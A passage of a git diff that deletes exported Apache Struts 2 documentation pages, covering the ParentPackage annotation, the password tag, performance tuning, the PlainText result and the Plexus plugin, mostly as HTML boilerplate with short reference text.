-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68490">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68490">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68490">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68490">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68490">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="ParentPackageAnnotation-ParentPackageAnnotation">ParentPackage Annotation</h1>
-
-<p>The <code>@ParentPackage</code> annotation allows the definition of <code>Action</code>'s package for an action found via <a shape="rect" href="zero-configuration.html">Zero Configuration</a>.</p>
-
-<h2 id="ParentPackageAnnotation-Usage">Usage</h2>
-
-<p>This annotation is placed at the class level.</p>
-
-<h2 id="ParentPackageAnnotation-Parameters">Parameters</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Name </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Type </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Required </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> value </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> String </p></td>< [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/password.html b/content/docs/password.html
deleted file mode 100644
index 466672e..0000000
--- a/content/docs/password.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>password</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="password.html">password</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">password</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13826">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13826">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13826">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13826">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13826">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13826">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="password-Description">Description</h2>
-
-<p></p><p>Render an HTML input tag of type password.</p>
-
-<h2 id="password-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="password-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;p&gt;
-In this example, a password control is displayed. For the label, we are calling ActionSupport&#39;s getText() to
-retrieve password label from a resource bundle.
-&lt;/p&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:password label=&quot;%{text(&#39;password&#39;)}&quot; name=&quot;password&quot; size=&quot;10&quot; maxlength=&quot;15&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/performance-tuning.html b/content/docs/performance-tuning.html
deleted file mode 100644
index c65d61d..0000000
--- a/content/docs/performance-tuning.html
+++ /dev/null
@@ -1,141 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Performance Tuning</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="performance-tuning.html">Performance Tuning</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Performance Tuning</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46982">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46982">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46982">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46982">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46982">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46982">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="PerformanceTuning-Performancetuning">Performance tuning</h2><p>The following are some tips and tricks to squeeze the most performance out of Struts 2.</p><div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Important OGNL update</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>For Struts 2 versions b [...]
-<pre>template_update_delay=60000
-</pre>
-</div></div><p>This value determines how often Freemarker checks if it needs to reloads the templates from disk. The default value is 500 ms. Since there is no reason to check if a template needs reloading, it is best to set this to a very large value. Note that this value is in seconds and freemarker will convert this value to milliseconds.</p><p>You can also use&#160;<em>struts.freemarker.templatesCache.updateDelay</em> constant to achieve the same effect.</p><p>See also: <a shape="rec [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/plaintext-result.html b/content/docs/plaintext-result.html
deleted file mode 100644
index 5ad6189..0000000
--- a/content/docs/plaintext-result.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>PlainText Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="plaintext-result.html">PlainText Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">PlainText Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14192">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14192">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14192">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14192">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14192">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14192">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="PlainTextResult-Parameters">Parameters</h2>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="PlainTextResult-Examples">Examples</h2>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/plexus-plugin.html b/content/docs/plexus-plugin.html
deleted file mode 100644
index 9bd3bee..0000000
--- a/content/docs/plexus-plugin.html
+++ /dev/null
@@ -1,188 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Plexus Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="plexus-plugin.html">Plexus Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Plexus Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44204">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44204">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44204">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44204">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44204">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44204">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> The Plexus Plugin is experimental. Feedback is appreciated!</p>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>While <a shape="rect" class="external-link" href="http://plexus.codehaus.org/" rel="nofollow">Plexus</a>is similar to other inversion-of-control (IoC) or dependency injection frameworks such as the Spring Framework, it's fully-fledged container supports many mor [...]
-
-<p>The Plexus plugin enables Struts Actions, Interceptors, and Results to be created and injected by <a shape="rect" class="external-link" href="http://plexus.codehaus.org/" rel="nofollow">Plexus</a>.  </p>
-
